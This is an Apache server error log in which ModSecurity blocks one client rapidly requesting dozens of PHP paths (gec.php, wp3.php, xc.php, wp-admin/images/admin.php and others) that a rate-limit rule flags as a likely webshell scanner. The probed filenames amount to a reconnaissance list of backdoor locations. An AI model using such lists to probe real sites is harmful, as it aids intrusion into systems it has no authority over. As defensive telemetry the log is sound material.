[Wed Apr 01 20:14:04.386119 2026] [:error] [pid 62559:tid 62562] [client 20.203.215.185:28174] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gec.php"] [unique_id "ac0MDC7NKI8IaNKZFIeMDAAAAUE"]
[Wed Apr 01 20:14:05.289990 2026] [:error] [pid 8995:tid 9022] [client 20.203.215.185:13633] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gec.php"] [unique_id "ac0MDeonaBjs3qxcRee47wAAABg"]
[Wed Apr 01 20:14:06.015690 2026] [:error] [pid 62559:tid 62569] [client 20.203.215.185:1653] File does not exist: /usr/local/apache/htdocs/suspended-page/gec.php
[Wed Apr 01 20:14:06.253912 2026] [:error] [pid 62559:tid 62582] [client 20.203.215.185:1653] File does not exist: /usr/local/apache/htdocs/suspended-page/uuu.php
[Wed Apr 01 20:14:06.542211 2026] [:error] [pid 62559:tid 62563] [client 20.203.215.185:1653] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Wed Apr 01 20:14:06.902639 2026] [:error] [pid 62559:tid 62567] [client 20.203.215.185:1653] File does not exist: /usr/local/apache/htdocs/suspended-page/size.php
[Wed Apr 01 20:14:07.211949 2026] [:error] [pid 62559:tid 62584] [client 20.203.215.185:1653] File does not exist: /usr/local/apache/htdocs/suspended-page/lib.php
[Wed Apr 01 20:14:07.560532 2026] [:error] [pid 62559:tid 62561] [client 20.203.215.185:1653] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-load.php
[Wed Apr 01 20:14:07.951121 2026] [:error] [pid 62559:tid 62577] [client 20.203.215.185:1653] File does not exist: /usr/local/apache/htdocs/suspended-page/torsa1.php
[Wed Apr 01 20:14:08.190117 2026] [:error] [pid 62559:tid 62571] [client 20.203.215.185:1653] File does not exist: /usr/local/apache/htdocs/suspended-page/b.php
[Wed Apr 01 20:14:08.428748 2026] [:error] [pid 62559:tid 62568] [client 20.203.215.185:1653] File does not exist: /usr/local/apache/htdocs/suspended-page/vaza.php
[Wed Apr 01 20:14:08.689561 2026] [:error] [pid 62559:tid 62572] [client 20.203.215.185:1653] File does not exist: /usr/local/apache/htdocs/suspended-page/bnm.php
[Wed Apr 01 20:14:09.268159 2026] [:error] [pid 62559:tid 62565] [client 20.203.215.185:1653] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xc0252.php"] [unique_id "ac0MES7NKI8IaNKZFIeMIQAAAUQ"]
[Wed Apr 01 20:14:09.960710 2026] [:error] [pid 62559:tid 62583] [client 20.203.215.185:1613] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xc0252.php"] [unique_id "ac0MES7NKI8IaNKZFIeMJAAAAVY"]
[Wed Apr 01 20:14:10.900411 2026] [:error] [pid 8909:tid 8965] [client 20.203.215.185:11557] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xc0252.php"] [unique_id "ac0MEjvP_a0662gDl6CbpQAAANg"]
[Wed Apr 01 20:14:11.479547 2026] [:error] [pid 8995:tid 9001] [client 20.203.215.185:11538] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xc0252.php"] [unique_id "ac0ME-onaBjs3qxcRee4_QAAAAM"]
[Wed Apr 01 20:14:12.335650 2026] [:error] [pid 17856:tid 17864] [client 20.203.215.185:1837] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "ac0MFD7Idlm5j9frhqQP-QAAAEY"]
[Wed Apr 01 20:14:13.595481 2026] [:error] [pid 8910:tid 8988] [client 20.203.215.185:1697] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "ac0MFaJZINUcF3tYgExUzgAAARQ"]
[Wed Apr 01 20:14:14.502349 2026] [:error] [pid 62559:tid 62579] [client 20.203.215.185:14633] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "ac0MFi7NKI8IaNKZFIeMKwAAAVI"]
[Wed Apr 01 20:14:15.211508 2026] [:error] [pid 8995:tid 9007] [client 20.203.215.185:13102] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "ac0MF-onaBjs3qxcRee5AAAAAAk"]
[Wed Apr 01 20:14:15.946975 2026] [:error] [pid 8995:tid 9002] [client 20.203.215.185:33964] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "ac0MF-onaBjs3qxcRee5BAAAAAQ"]
[Wed Apr 01 20:14:17.104290 2026] [:error] [pid 8908:tid 8923] [client 20.203.215.185:1813] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "ac0MGfkmxtJXGnLdvgBxnwAAAIo"]
[Wed Apr 01 20:14:17.934256 2026] [:error] [pid 8909:tid 8965] [client 20.203.215.185:28524] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "ac0MGTvP_a0662gDl6CbxQAAANg"]
[Wed Apr 01 20:14:18.992395 2026] [:error] [pid 8909:tid 8961] [client 20.203.215.185:11274] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "ac0MGjvP_a0662gDl6CbzAAAANQ"]
[Wed Apr 01 20:14:20.103080 2026] [:error] [pid 8909:tid 8944] [client 20.203.215.185:28487] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac0MHDvP_a0662gDl6Cb0wAAAMM"]
[Wed Apr 01 20:14:21.071046 2026] [:error] [pid 17856:tid 17864] [client 20.203.215.185:28792] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac0MHT7Idlm5j9frhqQQAwAAAEY"]
[Wed Apr 01 20:14:22.290666 2026] [:error] [pid 17856:tid 17879] [client 20.203.215.185:13590] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac0MHj7Idlm5j9frhqQQBgAAAFU"]
[Wed Apr 01 20:14:23.094208 2026] [:error] [pid 8909:tid 8955] [client 20.203.215.185:28198] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac0MHzvP_a0662gDl6Cb3gAAAM4"]
[Wed Apr 01 20:14:23.940711 2026] [:error] [pid 8910:tid 8992] [client 20.203.215.185:25711] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp3.php"] [unique_id "ac0MH6JZINUcF3tYgExU2QAAARg"]
[Wed Apr 01 20:14:25.177639 2026] [:error] [pid 8910:tid 8973] [client 20.203.215.185:16473] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp3.php"] [unique_id "ac0MIaJZINUcF3tYgExU3AAAAQU"]
[Wed Apr 01 20:14:26.087052 2026] [:error] [pid 8908:tid 8934] [client 20.203.215.185:14444] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp3.php"] [unique_id "ac0MIvkmxtJXGnLdvgBxwQAAAJU"]
[Wed Apr 01 20:14:27.071796 2026] [:error] [pid 8908:tid 8936] [client 20.203.215.185:33921] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp3.php"] [unique_id "ac0MI_kmxtJXGnLdvgBxwwAAAJc"]
[Wed Apr 01 20:14:27.864804 2026] [:error] [pid 8909:tid 8960] [client 20.203.215.185:11281] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v3.php"] [unique_id "ac0MIzvP_a0662gDl6Cb8QAAANM"]
[Wed Apr 01 20:14:28.645378 2026] [:error] [pid 8995:tid 9013] [client 20.203.215.185:16503] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v3.php"] [unique_id "ac0MJOonaBjs3qxcRee5FQAAAA8"]
[Wed Apr 01 20:14:29.268878 2026] [:error] [pid 8995:tid 9018] [client 20.203.215.185:22830] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v3.php"] [unique_id "ac0MJeonaBjs3qxcRee5GAAAABQ"]
[Wed Apr 01 20:14:30.272786 2026] [:error] [pid 62559:tid 62581] [client 20.203.215.185:11312] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v3.php"] [unique_id "ac0MJi7NKI8IaNKZFIeMSgAAAVQ"]
[Wed Apr 01 20:14:32.284219 2026] [:error] [pid 8910:tid 8984] [client 20.203.215.185:16494] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v.php"] [unique_id "ac0MKKJZINUcF3tYgExU5QAAARA"]
[Wed Apr 01 20:14:33.606776 2026] [:error] [pid 62559:tid 62571] [client 20.203.215.185:1816] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v.php"] [unique_id "ac0MKS7NKI8IaNKZFIeMUwAAAUo"]
[Wed Apr 01 20:14:34.380080 2026] [:error] [pid 17856:tid 17871] [client 20.203.215.185:24896] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v.php"] [unique_id "ac0MKj7Idlm5j9frhqQQQwAAAE0"]
[Wed Apr 01 20:14:34.928322 2026] [:error] [pid 17856:tid 17864] [client 20.203.215.185:1796] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v.php"] [unique_id "ac0MKj7Idlm5j9frhqQQWwAAAEY"]
[Wed Apr 01 20:14:35.595414 2026] [:error] [pid 8995:tid 9009] [client 20.203.215.185:11614] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d2.php"] [unique_id "ac0MK-onaBjs3qxcRee5IwAAAAs"]
[Wed Apr 01 20:14:36.353084 2026] [:error] [pid 8909:tid 8964] [client 20.203.215.185:28518] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d2.php"] [unique_id "ac0MLDvP_a0662gDl6CcCQAAANc"]
[Wed Apr 01 20:14:37.439659 2026] [:error] [pid 8995:tid 9003] [client 20.203.215.185:1846] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d2.php"] [unique_id "ac0MLeonaBjs3qxcRee5KgAAAAU"]
[Wed Apr 01 20:14:38.169933 2026] [:error] [pid 17856:tid 17861] [client 20.203.215.185:24626] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d2.php"] [unique_id "ac0MLj7Idlm5j9frhqQQbgAAAEM"]
[Wed Apr 01 20:14:38.933105 2026] [:error] [pid 17856:tid 17864] [client 20.203.215.185:24900] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xc.php"] [unique_id "ac0MLj7Idlm5j9frhqQQeAAAAEY"]
[Wed Apr 01 20:14:40.421377 2026] [:error] [pid 8908:tid 8917] [client 20.203.215.185:21267] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xc.php"] [unique_id "ac0MMPkmxtJXGnLdvgByYwAAAIQ"]
[Wed Apr 01 20:14:41.316569 2026] [:error] [pid 8995:tid 9020] [client 20.203.215.185:31394] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xc.php"] [unique_id "ac0MMeonaBjs3qxcRee5MgAAABY"]
[Wed Apr 01 20:14:42.009433 2026] [:error] [pid 8995:tid 9021] [client 20.203.215.185:24619] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xc.php"] [unique_id "ac0MMuonaBjs3qxcRee5NgAAABc"]
[Wed Apr 01 20:14:42.834665 2026] [:error] [pid 8909:tid 8960] [client 20.203.215.185:31413] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/g.php"] [unique_id "ac0MMjvP_a0662gDl6CcGwAAANM"]
[Wed Apr 01 20:14:43.470632 2026] [:error] [pid 8909:tid 8953] [client 20.203.215.185:28168] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/g.php"] [unique_id "ac0MMzvP_a0662gDl6CcHwAAAMw"]
[Wed Apr 01 20:14:44.135454 2026] [:error] [pid 8908:tid 8934] [client 20.203.215.185:14412] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/g.php"] [unique_id "ac0MNPkmxtJXGnLdvgBybQAAAJU"]
[Wed Apr 01 20:14:45.035977 2026] [:error] [pid 8909:tid 8960] [client 20.203.215.185:1703] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/g.php"] [unique_id "ac0MNTvP_a0662gDl6CcKwAAANM"]
[Wed Apr 01 20:14:45.706096 2026] [:error] [pid 8909:tid 8965] [client 20.203.215.185:1031] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gmo.php"] [unique_id "ac0MNTvP_a0662gDl6CcLwAAANg"]
[Wed Apr 01 20:14:46.734993 2026] [:error] [pid 17856:tid 17869] [client 20.203.215.185:11323] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gmo.php"] [unique_id "ac0MNj7Idlm5j9frhqQQhAAAAEs"]
[Wed Apr 01 20:14:47.432101 2026] [:error] [pid 8909:tid 8952] [client 20.203.215.185:33972] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gmo.php"] [unique_id "ac0MNzvP_a0662gDl6CcPgAAAMs"]
[Wed Apr 01 20:14:48.053128 2026] [:error] [pid 8909:tid 8947] [client 20.203.215.185:28201] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gmo.php"] [unique_id "ac0MODvP_a0662gDl6CcRgAAAMY"]
[Wed Apr 01 20:14:49.068762 2026] [:error] [pid 8909:tid 8946] [client 20.203.215.185:1646] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "ac0MOTvP_a0662gDl6CcSgAAAMU"]
[Wed Apr 01 20:14:49.754252 2026] [:error] [pid 8910:tid 8976] [client 20.203.215.185:22823] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "ac0MOaJZINUcF3tYgExU-QAAAQg"]
[Wed Apr 01 20:14:51.178987 2026] [:error] [pid 62559:tid 62563] [client 20.203.215.185:33965] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "ac0MOy7NKI8IaNKZFIeMhwAAAUI"]
[Wed Apr 01 20:14:52.202278 2026] [:error] [pid 8909:tid 8951] [client 20.203.215.185:1621] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "ac0MPDvP_a0662gDl6CcWgAAAMo"]
[Wed Apr 01 20:14:52.823889 2026] [:error] [pid 8910:tid 8972] [client 20.203.215.185:14901] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/20.php"] [unique_id "ac0MPKJZINUcF3tYgExU_QAAAQQ"]
[Wed Apr 01 20:14:53.852520 2026] [:error] [pid 8910:tid 8980] [client 20.203.215.185:24953] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/20.php"] [unique_id "ac0MPaJZINUcF3tYgExU_wAAAQw"]
